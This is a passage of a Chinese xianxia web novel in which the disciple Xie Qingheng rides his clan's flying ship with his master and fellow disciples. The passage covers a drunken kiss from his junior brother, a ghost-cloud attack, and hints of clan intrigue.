谢青珩出神地探寻着他们头顶不一样的命运线,手指熟稔拨动,只为找到那缕令他魂牵梦萦的金色。 好在金色也在呼应着他,乳燕投怀般寻着他的指引而来,谢青珩几乎不费吹灰之力地抽出了金线,而那缕旁人看不到金色也随之没入他手指,而后猛地撞向他脑海中的灰色大门。 “咔嚓” 有什么东西开始转动。 丝线抽离的瞬间,所有谢家人都感到自己失去了什么重要的东西,就像是抽离了他们的骨髓,表面上没有任何变化,但所有人都觉得心底缺了一块。 周侧眼神微眯,水剑忽然刺来,却在即将深入时化为一滩酒水,洒在他们的衣襟上。 血液从伤口渗出,痛感打断了他们的迷茫,让其换上本能的愤怒。 最后一丝怅然若失也烟消云散。 “青珩,”周侧忽然唤道,他向来玩世不恭,脸上是众人熟悉的玩味,可只有谢青珩看到了周侧眼中深色,“为师教你,这便是小惩大诫。” 谢青珩在缕缕腥气中,拱手道:“弟子受教。” 叶言旭看了看默不作声的师兄师姐,瞬间疑惑起来,老头子的脾气怎么突然火爆起来,往常就算有人冒犯,也不过是威胁两句,从不见血。 老人,也就是徐合抚平喉咙上的伤口,笑问道:“峰主可解气?” “不要再犯。”周侧也笑。 谢宥安此时忍不住解释道:“家主没有派修远少爷来,我们都是行至中途才发现修远少爷上了船,请大公子不要怪罪家主。” “为什么会因为一个人的错怪罪另一个人?”谢青珩疑惑道,“除了这本来就是另一个人的手笔外,我实在找不出迁怒他人的理由。” 谢宥安道:“大公子豁达。” 硝烟散去,众人继续步入楼宇。 踏入整洁干净的地砖上,谢青珩轻轻摘下幂篱,白纱层层叠叠堆在他手上,宛若捧着洁净的雪。 谢青珩长发并未全部挽起,只半扎了个发髻,一支长长的木簪穿行而过,带起几缕轻盈的发丝。 谢青珩的头发浓密乌黑,如一匹绸缎安静地垂落,弧形的光泽疏密排布,恰到好处,给人一种极度的顺滑感。 木簪朝上的一端点缀着五六朵或绽放或含苞欲放的桃花,花瓣粉白,花蕊轻吐,交叠中心颜色更深,在黑发上愈发逼真,仿若三月折下的桃花枝,被主人随手插入发间。 见到谢青珩的第一眼,总会想到雪,美丽却冰冷,像是高山上最接近月亮的雪,料峭的崖壁上,月色与雪色交融,诞生出第三种惊人的色彩。* 月光无匹,高不可攀亦无从打捞,白雪圣洁,轻易可触却寒冷冻人。 美好的事物往往伴随着遗憾,而当谢青珩站在那里的时候,遗憾瞬间化却,只剩下最真实的心跳。 桃花长簪仿佛是传说中射日的神器,否则也不会将如此如梦似幻的人物钉在现实。 极致的美丽使任何吹捧的话语都黯然失色,甚至可以称得上亵渎。 他光是站在那里,就让人忍不住心神摇摆,想要将世上所有珍宝都捧在他面前,只为了换取他一个笑容。 满室生光,不外如此。 叶言旭皱眉看着他们恍若实质的目光,心头火顿起,他接过谢青珩手中的幂篱,挡去大半视线道:“干什么干什么!” “再看就把你们眼珠子挖出来!” 众人才终于回神,意识到自己的目光多么具有侵略性后,不由得咳嗽两声,但视线仍旧围着谢青珩转。 “大公子穿得着实委屈了些。”徐合叹息道。 他们这才发现谢青珩穿着身褐色布衣,没有丝毫纹路,袖口也有些毛边,只是因为谢青珩穿,而显得布衣如此脱尘。 此时再看,犹如美玉有暇,让人不免扼腕叹息。 谢宥安接道:“珍宝阁正好送来了一批新装,大公子不若前去看看?” 谢青珩摇头道:“多谢,但君子衣敝缊袍而不耻,华服又如何呢?不过是一件衣裳罢了。” 徐合对谢青珩一行人有了改观,他说道:“既然如此,请诸位高修上座,我等即刻开宴,为大公子接风洗尘。” 说罢,便有貌美丫鬟前来接过众人手中的东西。 叶言旭护着怀中幂篱道:“我不需要,你们 找其他人吧。” 他警惕的样子活像守着肉食的狼崽,引得周遭一阵笑声,但叶言旭不引为耻,反而是更加用心,甚至将幂篱收进了储物袋中。 盖因之前也有类似的情况,结果就是沾染着大师兄清香的幂篱下落不明,最后只找到被人揉烂了的一团污秽。 叶言旭恶心了好久,从此不敢松懈半分。 宴席上,尽是一些俗套之语,谢青珩一一回过徐合和谢宥安的问话,心神却已飘到识海中发亮的光团上。 也因此没有注意到两人眼中的可惜之色。 徐合身为外院管事,很得大房青睐,否则也不会选他来主管大公子归家的事物。 正是因为与大房亲近,徐合越为貌如仙人的大公子可惜。 大爷院中清净,唯有一位正房夫人和一位非常得宠的姨娘徐氏。 大夫人云氏娘家没落,心思又没在大爷身上,宛若一尊没有生息的玉像,自然讨不来大爷欢心,二十多年来也只得了大公子一个。 徐姨娘比之大夫人更不如,出身娼门,但偏偏很会笼络大爷的心,加上大小姐天资不凡,隐隐有比肩大夫人的势头。 徐合暗自叹息,若是大公子养在大夫人膝下,或是没有送出去,府内的局势很可能不似如今。 即便大公子不能修炼,但凭着那张脸,未尝不能登高望远。 谢宥安目光频频落在谢青珩身上,饶是他一忍再忍,也不得不问:“宥安兄可有什么事?” “无、无事,”谢宥安掩饰地喝了杯酒,不知是酒气上脸的缘故还是其他,他脸颊仿若烧红的晚霞,“只是可惜大公子没能在族内长大。” 谢青珩握着酒杯笑道:“塞翁失马焉知非福。” 酒水清冽,散发着好闻的香气。 还没等谢青珩纠结,手中的酒杯就被身边人夺过。 叶言旭一饮而尽,喝得急了,脸上还溅了几滴酒,衬得他英气的脸庞愈发桀骜。 谢青珩蹙眉,掏出一块帕子,自然而然地擦拭叶言旭脸颊上的酒点。 叶言旭非但不多,还目光灼灼地盯着谢青珩,灼热的鼻息烫得谢青珩心猛然漏了一拍,他移开目光,折叠手帕道:“都成年了,还这么不着调。” 叶言旭脑袋嗡嗡作响,幽香已在肺腑扎根,身体已经熟练地靠了过去,道:“不是还有大师兄吗?” 他说得理直气壮,谢青珩只能无奈一笑,继续应付宴席。 叶言旭不依不饶,宛若化形的小狗般围着谢青珩嗅闻,想要从他嘴里得到想听的话。 谢青珩躲闪不得,任由叶言旭在自己身边蹭。 反而是谢宥安皱眉觉得他们方才的动作过于亲密,饶是师兄弟也有些过了。 谢宥安斟酌开口道:“大公子和师弟的关系很好啊。” 玄凤饮尽杯中酒水,大咧咧道:“那是自然,小师弟可是大师兄一手教养长大的。” 周侧目光扫过凑在一起的大徒弟和小徒弟,语气没有什么波澜:“他们感情一向好。” 如此,谢宥安也放过了心底如针扎的疑虑。 一场宴席后,宾主尽欢,又有仆役引他们到各自住处。 谢青珩忙着哄叶言旭起身,没能注意到屏风后觊觎垂涎的眼睛。 5. 酒热 谢家乃是大世家,接待宾客的酒水灵气很足,虽然对登仙台境界的周侧没有什么人太大的影响,可对于伏流境界的修士来说,还是过补了些,导致他们都有些晕乎乎。 平时最为跳脱的玄凤玄英此时都昏昏沉沉地由着丫鬟搀扶。 谢青珩身子喝不了酒,此时正笑意盈盈地看着师弟师妹的醉态,准备等着他们醒后再说起。 但他却不知道,他这一笑,跟在他们身边的仆役都不由得屏住呼吸,生怕惊扰了他。 就连徐合和谢宥安都晃了神,定定看着他。 两人也算得上是有头有脸的人物,很少有人或者事能让他们在人前变了脸色,眼底也晦暗不明起来,划过一道可惜之色。 而暗处的眼神,愈发浓黑,似飨食香火的鬼神般留恋人间的美景,不顾一切地想要抓住他。 谢青珩不笑时,是冷淡的,如同雪中琼枝树,明亮美丽却拒人千里,他笑时宛若春风一夜来,枝头绿意绽放,开出似雪的花来,给人一种触手可及的错觉。 叶言旭散漫惯了,他脑袋晕乎乎的,却也记得师父师兄师姐对他的嘱托,一把揽住谢青珩的肩膀,强迫后者对上自己的目光。 “不准笑,”叶言旭严肃道,“会招蜂引蝶。” 谢青珩看着叶言旭这副样子,笑意愈浓,却没想到他嘴角勾起的笑意惹了身边人不快,少年干脆用手点了下他嘴角。 一瞬间,酒气混杂着少年人身上独有的清爽气息扑面而来,竟然混杂得宛若潮湿沉闷的沉香气,将他层层包围。 谢青珩眼眸微微睁大,强横的气息将他笼罩,他本能地想要推开叶言旭,试图躲开叶言旭的怀抱。 可下一瞬,叶言旭手臂失力般下垂,初露锋芒的眼睛呆滞地下垂,显然是已经醉过去了。 谢青珩放松下来,好笑地想要接过叶言旭,却忘了后者已经不再是那个需要他抱住的小孩,如今少年骨架比他几乎大了一圈,也就是平日里叶言旭散漫稚气的样子模糊了自身高大的身量,给了谢青珩一种叶言旭还小的错觉。 此时重量骤然压下,谢青珩只感觉一块巨石朝自己身上压来,有些接不住地往后退了几步,却依然强撑着架住叶言旭,没让他摔在地上。 幸好有机灵的仆役反应过来,分别从左右托住叶言旭的胳膊。 仆役恭敬道:“大公子,交给我们吧。” 谢青珩点头谢道:“麻烦了。” 转身刹那,谢青珩身形一顿,如芒在背的刺感使他微微侧头,想要探寻来源,却只看见徐合和谢宥安眼中的询问之意。 谢青珩摇摇头,以为是自己错觉,于是示意想要过来的两人不必来帮忙。 扶叶言旭到榻上后,两个仆役硬是不让谢青珩插手,十分妥帖地照顾了番叶言旭,才慢慢退下去。 走出一番距离后,年轻的仆役忍不住说道:“易哥,你闻到没有?” 稍长他两岁的仆役闷声道:“什么?” 年轻仆役比划道:“就是大公子身上的香气啊!真的太好闻了,比玉灵小姐收藏的奇香还好闻!” 年长的仆役拽了他一下,急切道:“胡说什么呢!你怎么能扯到玉灵小姐身上,不要命了!” 年轻仆役反应过来,忙看向四周,确认没有其他人后才长舒了口气,“多谢易哥救我一命啊,要是让徐管事知道了,我们都没有什么好果子吃。” 但年轻仆役想到大公子坐在床榻上的模样,还是不由得红了脸。 谢青珩坐在叶言旭身边,纤细白皙的手指抚摸过叶言旭的眉眼,心中渐渐升起疑惑。 怎么一眨眼,昔日跟在他身后的小孩都长得这般成熟了? 叶言旭闭眼时,眉宇间的凌厉一览无余,任谁来也不会将他当成孩子看。 谢青珩思索着,见叶言旭嘴唇干燥,连忙端起温好的茶水,哄着叶言旭喝下。 叶言旭毛茸茸的头枕在谢青珩膝上,温热的水流滋润着干涸的喉管,他睁眼,先看到的是谢青珩嘴唇上的红色,许是尚未醒酒的缘故,下腹中的火焰燃得格外冲动,他抬起手,修士不容置喙的力气将敬仰又依赖的大师兄拽进了床榻里面,欺身而上。 谢青珩一时没反应过来,眼前光影变化,等他再看时,身上已经落下大片阴影,即使少年身上的气息蛮横地侵入鼻尖,谢青珩也没有半点害怕惊慌。 “怎么又耍赖啊?”谢青珩无奈地拍拍叶言旭的肩膀,提醒道,“你已经过了生辰礼了,是个大人了。” 叶言旭看着谢青珩张合的嘴巴,什么也没听进去,陌生的火焰在他身体里苏醒,有别于未成年时,一种与生俱来的本能正随着他成年悄然苏醒,叶言旭忽而俯下身,两人的距离被压缩得鼻尖对着鼻尖。 淡粉色的唇瓣成了叶言旭眼中唯一的颜色,他还是像小时候那样,以为想要什么,大师兄就得给他,于是根本没有商量的想法,就要自己去取,可因为醉酒的缘故,他头脑昏沉,亲到了谢青珩挨着箜篌耳坠的侧脸。 冰凉的触感唤醒了叶言旭一丁点的理智。 谢青珩真觉得叶言旭醉糊涂了,用手隔开他的唇,道:“你快起来,小心等你醒来挨罚。” “不行。” 叶言旭嘴唇蹭过谢青珩手指,缓慢地亲过他指节,谢青珩吓了一跳,一时间竟然不知道该作何反应。 心跳砰砰直跳,几乎要从他胸膛里跳出来了。 谢青珩恍惚地看着面前初具成熟的少年脸庞,他沉默的态度,让少年得寸进尺,滚烫的气息随着嘴唇的移动喷洒在他脖颈上,再洒在脸颊上。 直到两个人的唇贴在一起,不同以往的触感电流般钻进他的身体,谢青珩猛然反应过来,下意识推开叶言旭。 他来不及整理凌乱的衣衫,踉踉跄跄退后好几步,直到确认叶言旭彻底醉过去了,才压抑着呼吸离开。 直到走远,谢青珩才愣愣地摸了摸下唇。 “大公子。”丫鬟关切疑惑地望过来,眼眸在接触谢青珩的瞬间垂下,遮掩了其中心虚的精光。 谢青珩耳边听不到他们的声音,一切都好似被固定在了琉璃瓶中,只有不断跳动的心脏回应着方才那番惊涛骇浪。 他年岁最长,又博览群书,自然知道唇瓣相贴是最亲密的动作,唯有道侣才能这么做。 可那是他最小的师弟,是他一手带大的孩子。 小师弟不知道什么是对还是错,他做大师兄的还能不知道吗? 谢青珩神似恍惚,来不及多想自己的内心,只决定下次不许小师弟胡来。 丫鬟正领着谢青珩走向一条人际偏僻的走廊,忽然在这时,谢青珩听到了周侧的传音。 【青珩,来我房里】 谢青珩瞬间顿住脚步,向丫鬟说明了路线改变。 丫鬟愣了愣,松了口气道:“奴婢带大公子过去。” 他们走出没多久,谢青珩房内便发出瓷器落地的碎裂声,紧接着一阵若有似无的脚步声沿着他们走过的路前进。 谢青珩到时,门扇已开,显然等候多时。 丫鬟仆役无声退去,不敢惊扰其中的仙师。 周侧跪在仙尊像前,香烟袅袅,看不清他的神色。 谢青珩安静地走向周侧身后的位置,那里正好放了一个蒲团。 净手后,谢青珩手执三柱香,拜了拜后才跪坐在蒲团上。 周侧睁开眼,没有看谢青珩,开口道:“知道为师为什么叫你来吗?” 谢青珩低声道:“徒儿有过,不该取他们身上的气运。” 周侧眼神复杂地看着香案上的仙尊像,他没有指责谢青珩,反而说道:“你做得太过明显了。” 谢青珩天生绝脉,灵气弃之,周侧用了很多种办法也没能引他入道,渐渐放弃时,谢青珩却在跟随他除去白灰劫时说他看到了一缕金线。 那时谢青珩太过年幼,周侧废了些力气才测出谢青珩所言非虚。 他以登仙台的术法,竭尽一身法力,才抽出一丝金线。 金线融入体内,周侧瞬间感到积年旧伤有愈合的痕迹,但那只是一瞬,金线在他体内转了一圈,瞬间投入了谢青珩身体里。 可这还不是最让周侧惊慌的,更恐怖的是年幼的谢青珩在没有法力的情况下,抬手抽走了整整 一缕金线,引得平息不久的尘烬再度暴动,威势更超越十倍,差点酿成了滔天之祸。 周侧原先以为这不过是偶然,但随着时间推移,他们去了更多地方,谢青珩都能在地脉穴窍之处看到金线,不动安好,一动,就会打破平静,轻则地动,重则无穷尘烬顷至。 周侧再也不能自欺欺人地鼓励谢青珩抽走所谓的“天地馈赠”。 但若是不抽走金线,谢青珩身体衰败得更加厉害,神魂时常无故离体,竟有衰败之势。 两全之策便是周侧在旁为谢青珩镇压,仅抽走一丝,便能暂且平息谢青珩的症状。 为了扼制尘烬,为了延缓谢青珩的死期,他们不得不游历四方,去往人迹罕至之地,积水成海般寻找金线。 谢青珩解释道:“徒儿也是第一次在人身上看到金线,没能控制住自己,是徒儿的错。” 周侧站起身,宽厚的手掌搭在谢青珩肩膀上,正色道:“青珩吾徒,二十三年间,你在为师的庇护下,还是没有认清人世间的本质。” 谢青珩仰头望着最为疼惜他的师父,沉淀着岁月的脸上依旧能看得出过去肆意的影子。 周侧无比复杂地说道:“你太小,走过的路太短,也未曾涉足那真正泥泞之处,不懂赤子怀金的道理。” “可是世间有公道、有法理,就是燃业火的真人也要遵守啊。” 周侧轻蔑一笑,不是对谢青珩,而是对他的话:“那燃业火之上的四方君呢?君主四方之地,法令皆从君出,尔等只有听从的份。” “规则是约束凡民和小修士的,不是用来约束大修士的。” 周侧苦口道:“就说你的箜篌,因为能延缓尘烬的到来,即使我们多番遮掩,但仍然有聪明的修士想要夺取,青珩不是没有看到过。” “而那金线,牵扯尘烬隐秘过多,只要消息稍微泄露出去一点,我们都回不去玄天宗!” 谢青珩心思玲珑,瞬间明白了周侧未尽的话:“所以师父允许我们和谢家人一起走,就是因为有人想抢我的箜篌?” 周侧道:“我猜测如此,否则这几日的眼线为何如此多?” 谢青珩俯身拜道:“多谢师父护持徒儿。” “你是为师的大弟子,”周侧扶起谢青珩道,“做师父的,怎么可能眼看着你走错路?青珩,你这一生命运坎坷,如此异能不知于你来说是福是祸?” 谢青珩红着眼望向周侧,往日苍白虚弱的脸上满是坚毅:“于徒儿言,是福。” “师妹师弟,皆天资不凡,二十年不到,便能入伏流中期,更是登仙台有望,寿数绵长,凡民不可及也。” 进入伏流境,便是半个身子迈进仙途,寿延二百,若是有望登仙台,寿延三百,貌如青春。 “唯有徒儿,天资愚笨,又深陷怪病之苦,岁月流转,朝不保夕,实在不想像个累赘一样拖累师父以及同门。” 谢青珩想要修行,想要治愈怪病,想要不被师门抛下。 可不入修行,一切都是空谈。 凡民之中,一家子兄弟姐妹,一人能入仙途,便从此云泥之别。 谢青珩看过登仙台的仙长,步履生光,华贵非常,抬手凝云落雨,翻手斩落魔修,而他的妹妹早于四十年前化为黄土,妹妹的后人,两鬓生白,却因着资质永为凡民,渐渐沦落到黄土劳作的地步。 若非那位仙长于凡尘重逢妹妹的后人,他们恐怕都活不过去岁寒冬。 而在那位仙长未曾修行之时,他最宠爱他的妹妹,甚至为其寻来增寿丹,可依然阻挡不了岁月。 二十年的感情如何能与未来千年万岁的修行岁月比较? 更何况,谢青珩不是一无所知的凡民,他身边的师妹师弟天赋异禀,他的师父是第二境的修士,他即将要去的宗门威震天下。 修士所能掌握的力量令人目眩、令人向往,谢青珩读再多书,也无法压制自己对修行的渴望。 他再也不想让自己的性命成为拖累他人的借口,不想要因为自己异常,而使天骄般的师妹师弟与他同在尘世流浪。 所以,只要有希望,他就愿意去试一试。 6.云中 周侧沉默,揉了揉谢青珩的头,说道:“还有师父在呢,师父宁愿不要临渡峰,也要求仙尊垂怜。” 谢青珩再也维持不住表面的神情,他扑进周侧的怀抱,哽咽出声:“青珩,何德何能让师父做到这种地步。” “临渡峰是师父的念想,青珩再是无能也不能坐视师父为我付出过多,”谢青珩决绝道,“再不济,青珩还有一手箜篌,去给仙尊当个奏乐弟子也是愿意的。” 周侧眉头皱起,厉声道:“胡说什么!你是我周侧的大弟子,不必去做如此媚态!” 谢青珩咬牙还要再辩,可周侧已然失去耐心,下了最后的通牒:“就这么说定了!” 狂风骤起,窗外电闪雷鸣,震得屋内烛火熄灭,珠帘交织在一起,发出细碎的响声,可瞬息之后,烛火再度燃起,变成了苍白之色。 周侧护住谢青珩,神情严肃地听着周遭的动静。 安静的飞舟霎时间传来数道急匆匆的步伐,奴仆丫鬟压低了声音指挥着挂上白骨灯笼,谢青珩看着门前他们的身影,下意识看向周侧。 周侧忽然捂住谢青珩的耳朵,将人拉进自己怀里。 谢青珩还没来得及思考发生了什么,船舱内传来尖锐的叫喊,仿若是从人心中钻出来那样,阴寒瞬间铺满全身,不可控的失重感让谢青珩心下一慌,可比寒冷来得更快的师父温暖的体温。 挡住了一切不祥之物。 周侧望向船舱外,雷声阵阵,却没有丝毫阳刚之气,反而阴寒无比,不似正法。 寒霜爬上窗棂,周侧眼神一变,瞬间明白异样的来源:“鬼云潮。” 尖锐的呐喊化作低沉的呢喃,诱使内心不坚定的人走出保护他们的船舱,只这么一会儿,周侧已经听到四五个跳船的声音。 而他那几个醉过去的好徒儿,恰好因为醉酒逃过一劫。 直到苍白冰寒的灯笼挂满船舱,外面的寒霜才不再蔓延,周侧拍了拍谢青珩的肩膀道:“好了,已经没事了。” 谢青珩这才从周侧怀里钻出,他望向门外苍白的火焰,问道:“师父,那是什么。” 周侧扶正仙尊像前的香炉,不在意道:“就是白骨灯笼啊。” “谢家人的运势不好,坐个飞舟,也能惹上鬼云潮,”周侧仔细想道,“幸好这次的鬼云潮都是些不成气候的,否则那个老货也要折下去。” 谢青珩忍不住说道:“师父,我也是谢家人。” 周侧打断他道:“你不算,青珩,你是我养大的徒弟,关谢家什么事情?” 室内登时静默一瞬。 门外忽然有人提着白骨灯笼过来,正是谢宥安:“请峰主罪,谢家招待不周,来日必向峰主赔罪。” 谢宥安又看向周侧身边的人,青年冷白色的肌肤在苍白火焰照耀下越发剔透,点漆一般的眼眸如实倒映着阴冷氛围,淡粉色的唇瓣成了唯一的殊艳,比在船舱中游走的鬼怪更像鬼。 周侧不着痕迹地挡住谢青珩,后者因着视线缘故,下巴微微上扬,猫儿般衿贵的神色仿若天经地义,那身粗布衣都仿佛渡上了一层华光。 谢宥安眼中干涩一片,低下头解释道:“谢家二十年来没有经历过鬼云潮,奴仆难免松散了些,徐管事已经差人挂上白骨灯笼,升起朱砂帆,大约两个时辰内就可通过,请峰主和大公子莫要惊慌,不要使用任何法力,也不要轻易踏出房门。” 周侧点头:“这些事我当然知道,不过你们谢家这二十年的气运确实不错,竟然没能碰上一次。” 谢宥安道:“先祖遗德罢了,让峰主见笑了,奴仆手脚粗笨,难免有遗漏,我等得去一一查看,请峰主和大公子恕罪。” 谢青珩忽然开口道:“我师妹师弟他们怎么样?” “他们还未醒酒,约莫还在睡呢,”谢宥安神色一松道,“徐管事已经让人去他们门前挂上灯笼了,等酒醒了,他们就会知道了。” 周侧道:“我知道了,你先走罢。” 谢宥安躬身:“是。” 谢青珩看着谢宥安提着的那盏灯笼光影逐渐黯淡,渐渐彻底消失,心中还是不免有些担忧。 周侧一眼看穿了谢青珩的心思,没好气道:“别想了,那群小兔崽子皮实得很,睡一觉,什么事都不会发生!” 谢青珩羞赧一笑。 周侧脸色却突然沉了下去,他将谢青珩推进更里面,沉声道:“有东西跟过来了。” 谢青珩还没发觉什么,但脸颊旁边的箜篌忽然变得异常滚烫,危机感瞬间笼罩在他心头。 箜篌上次出现异状还是在他差点被登仙台的修士带走时。 门外挂着的白骨灯笼轻轻摇晃,仿若骨头的主人细语呢喃,遮掩了由远及近的脚步声。 这阵脚步声格外奇怪,厚实得不像是常人能走出的声音。 谢青珩心头一紧,还没细想,便看到苍白色的烛火被拉长,一个人影提着灯笼走到门前,轻声道:“堂哥。” 是被谢家说看管起来的谢修远。 此时的谢修远与白日的他大相径庭,脸色比白纸还要苍白,衣袍大得拖地,让人辨不清他的手脚,只能看到堆叠的广袖下蔓延出一只灯笼。 谢修远笑了起来,唇红齿白,看向谢青珩的眼里是压抑不住的觊觎:“堂哥,到我这里来,我这里才是安全的。” 谢青珩怔怔地看向他,后者露出意味深长的笑容:“你好好看看,你身边究竟,是人还是鬼?” 周侧忽然转过头来,身子却没有动,头正正好对上谢青珩的眼睛,道:“好徒儿。” 谢修远的声音逐渐变得急切起来:“堂哥,快过来!这艘飞舟上已经没有活人了!” “快过来,快过来!” 谢青珩轻笑了下,眼中似水般的惊恐退去,他捂住耳朵,整个人被揽进宽阔有力的胸膛中,一只粗厚的大手轻柔地覆在他眼前。 “妖物。”谢青珩轻叱。 周侧嘴角勾起邪笑道:“我这个做师父的还在这呢,你就敢当面行骗?” “谢修远”一改神情,漠然道:“不过是登仙台的蝼蚁!你若识相,便将他交给我,我好放你们离去。” 周侧掸掸腰侧的灰,不耐烦道:“还蝼蚁呢,你要是真能进来,就不用在这里鬼话连篇了!” “这种程度的鬼云潮可支撑不了你们吃完朱砂进来。” 周侧眼中是比鬼还有冰冷的漠然:“吃了几十只同类都没能落地的废物啊。” “谢修远”脸色瞬间变得难看,他上前一步,袖口伸出的灯笼摇晃,烛火倒映在门槛上。 “找死吗?”周侧目光森然。 “谢修远”惊疑不定地看着周侧,许久,退后好几步,遗憾地对谢青珩说道:“可惜了,美人,我们来日再续前缘吧。” 奇怪的脚步再度响起。 周侧松开了手,谢青珩睁开眼,却见“谢修远”并没有走,它难耐地伸展身体,像是熟悉,像是释放。 一双脚从它袖口伸出,灯笼掉在地上,苍白的火焰于白骨中燃烧,却没有蔓延。 它没有去捡灯笼,仍然步履奇怪地离开。 周侧望着门前的白骨许久,终是没有踏出房门。 他背对着谢青珩解释道:“凡民死后诞生的鬼魂孱弱,阳光会减弱他们的魂体,唯有吸食香火或是寄居养魂木才能存活。” “而那些没有香火供养,无缘得到养魂木的鬼魂将渐渐衰败到维持不了魂体,终于有一天,他们的魂体轻盈到能够飞上天空,轻盈到四分五裂。” “这些残缺不全的魂体聚集在一起,逐渐形成了所谓的鬼云潮。” 周侧继续 说道:“它们以活人为食,用活人的气血和灵魂弥补自己的魂体,期盼有朝一日能够再次降落人间。” “可是,哪有那么容易呢,”周侧嗤笑,“等它们终于攒够自己的身体后,才会发现它们再也不会回到人间。” 谢青珩不禁问道:“为什么呢?” 周侧向他解释道:“因为它们本身就是鬼云潮的一部分,掠夺,不停地掠夺,才是它们的宿命。” “所以啊,青珩,永远不要让自己沦落到这个地步,”周侧警告道,“到这个地步,哪怕是师父也无能为力。” “师父一定会让你踏上修行之路,一定。” 谢青珩愣在原地,他望向周侧的脸色苍白,显然是被吓到了。 这么多年来,周侧几乎从不带他们坐飞舟,宁愿去坐时不时把他们弄到其他地方的劣等传送阵,也不肯松口坐廉价的下品飞舟。 谢青珩蝶翼般的睫毛轻颤,明白了周侧的良苦用心,忽而想起自己抽走的金线,问道:“师父,是不是因为我取走了他们的金线,才……” 周侧嘲弄道:“怎么可能?我们之前不是试过吗?金线只能被你看到捕捉,从没有进过其他人身上。” “可是……”谢青珩犹有歉疚,他说道,“当时尘烬不是?” 周侧背手望向飞舟更深处:“尘烬牵扯甚广,第三境燃业火的真人也不敢窥探其中,区区一个谢家能牵扯出金线,牵扯出尘烬,就足以招致灭顶之灾了。” 周侧嗤笑,眼底深深:“至于他们为什么会招来鬼云潮,自然是有人带了不该带的东西,想要杀死不该来的人罢了。” 谢青珩心思回转,想通许多:“是有人不希望我回去吗?” “兴许是,兴许不是,青珩,这是你必须要面对的现实。” “我不杀伯仁,伯仁却因我而死,”谢青珩低低叹息,眉目愈发清绝冷冽,似悲悯似漠然。 周侧无奈,只得认真说道:“好徒儿,是谢家邀请我们上的飞舟,不是我们死皮赖脸要去。” “谢家人想用这些事情做绊脚石,就要自食其果” “再说了,谢家也算到了穷途末路之际,该死了。” 谢青珩惊讶,望向周侧,平日里玩世不恭的中年男人眼中沉淀着独属于岁月的幽暗,似早已洞穿了结局。 周侧抚摸着谢青珩丝绸般的长发,声音低沉:“你长大了,青珩,你若是想要踏足修行,就不要学那些书生气,儒生是修不了仙的。” 谢青珩嘴唇微微张开,似雪似月又近神的脸庞多了几分呆滞,显得娇憨又可怜,叫周侧心底再度泛起柔软,望向深处的眼眸更多了些许幽暗。 鬼云潮中,两个时辰被拉长到了不属于它们的长度。 等一切风暴都平息之际,谢青珩听到门外传来嘈杂惊慌的声响。 数位仆从跑过他们的门口,脚步未曾停留半步。 紧接着,是一阵阵凄厉的叫喊,血腥味传到谢青珩鼻尖时还是异常浓烈。 谢青珩沿着气味走过去,周侧跟在他身后,没有阻拦,轻声道:“一切都是咎由自取。” “啊啊啊啊啊!” “好痛!好痛!!” 几个有修为的仆役正在帮湿漉漉的人掰直身体,纠正该或不该出现的部位。 在更里间,雕花门中,老人急切说道:“忍一忍,再忍一忍,修远少爷,要是没能趁着鬼云潮的余韵纠正,您以后就都是这样了。” 谢宥安等在门外,抬头时看谢青珩的眼神晦暗不明。 他想起了在谢家子弟中流传甚广的传闻,大公子生来不祥,家主为保家族平安,不得已将其送往临渡峰门下。 如今只不过是接大公子回来,就发生了数十年不曾发生的事情。 谢宥安低垂头颅,不敢再想下去。 7.相处【待修】 正午时分,叶言旭他们才知道昨晚发生了什么。 叶言旭挤在谢青珩身边道:“大师兄,昨晚你没事吧?你怎么不让我跟你一起去找师父?” 谢青珩拍拍叶言旭手道:“我没事。” 江雨眠知道的比较多,她皱眉道:“鬼云潮是常见气象,谢家居然都没有任何防范吗?” 手捧血水的奴仆难掩眼底的青黑,辩解道:“我谢家二十多年来从没有经历过!” “不可能,”曾京墨收起诊治的银针,疑惑道,“就连天机阁都没能次次规避,你们怎么可能?” 奴仆咬牙道:“反正小人跟随管事穿梭多年,都未曾遇到!” “偏偏,偏偏接到你们就遇见了。” 奴仆说着,眼神偷偷瞄向谢青珩,但触及到那张玉润金清的脸时,心底的埋怨凝滞,从而化为一阵惊叹。 大公子天人之姿,怎么会是祸源? 更何况大公子出来以后就挨个查看他们的伤势,甚至喂了他们减轻疼痛的丹药。 必然是这群没规矩的人惹上什么脏东西了! 叶言旭疑惑问道:“大师兄,鬼云潮是什么?” 不仅是他,就连玄凤玄英也不知道。 谢青珩只好将师父给他的解释再给师妹师弟解释了遍。 玄凤玄英登时炸锅,两个容貌一模一样的红衣女孩叉腰道:“好啊,你们谢家居然敢不做丁点防护措施,就带我们上飞舟!” 叶言旭诚恳发问:“大师兄,你确定他们是你的亲族,而不是什么仇人吗?” 谢宥安疲惫走来,先是朝他们行礼道歉,然后才说道:“是谢家松懈了,让贵客受惊了。” “我已传信给家主,家主嘱咐我等好生招待诸位,停岸时必为贵客们好好接风洗尘,以慰忧心。” 谢青珩站在师妹师弟中央,神色坦然,目光澄澈。 周侧眯起眼,大笑道:“哈哈哈哈,这么多年了,你们家老头子还真有意思,告诉他,我得多要一千块上品灵石!” 话毕,空气瞬间凝滞,就连江雨眠也看不下去了,无奈道:“师父,你的狮子口就不能开小点吗?” 周侧得意洋洋说道:“放心吧,那老头子会给的,他一定会给的!” 而后,周侧重重拍了拍谢青珩肩膀,嘴角分明是笑的,眼底却没有丝毫温度:“好徒儿,没想到你爷爷还挂念着你啊。” 谢宥安面皮一抖,没敢说出不敬的话,只能委婉劝道:“周峰主嘴下留情。” 周侧笑道:“想要人不知,除非己莫为啊,谢家,真是能舍得啊。” “小兔崽子们,还不去等着补偿,非要站在这里碍眼吗?!” 平日里,周侧和弟子们插科打诨,全无师尊风范,可真到了这个时候,最看不惯他的叶言旭也只能领命。 丫鬟本来是要带着谢青珩去专门为他准备的房间,可叶言旭犹记得昨晚发生的事情,拽着谢青珩去自己那里。 曾京墨本来已经走出了几步,忽然停下转身,疑惑地看着谢青珩和叶言旭拉扯的地方,疑惑道:“大师兄,你是不是有些太纵然小师弟了。” 谢青珩抬起头,下意识松开手:“有、有吗?” “管那么宽干什么?”叶言旭一把拉过谢青珩的手,毫无对师兄的敬仰,不客气道,“姓曾的,没事干就去看你的医书!” 曾京墨轻哼一声,目光在两人身上流转:“这么凶,大师兄你可要好好管管小师弟,连最基本的礼貌都没有。” 叶言旭骂道:“有病就自己去治!” 谢青珩拉了拉叶言旭的手,目光凌厉了几分,后者瞬间偃旗息鼓,再看到曾京墨似笑非笑,干脆拉着谢青珩就走。 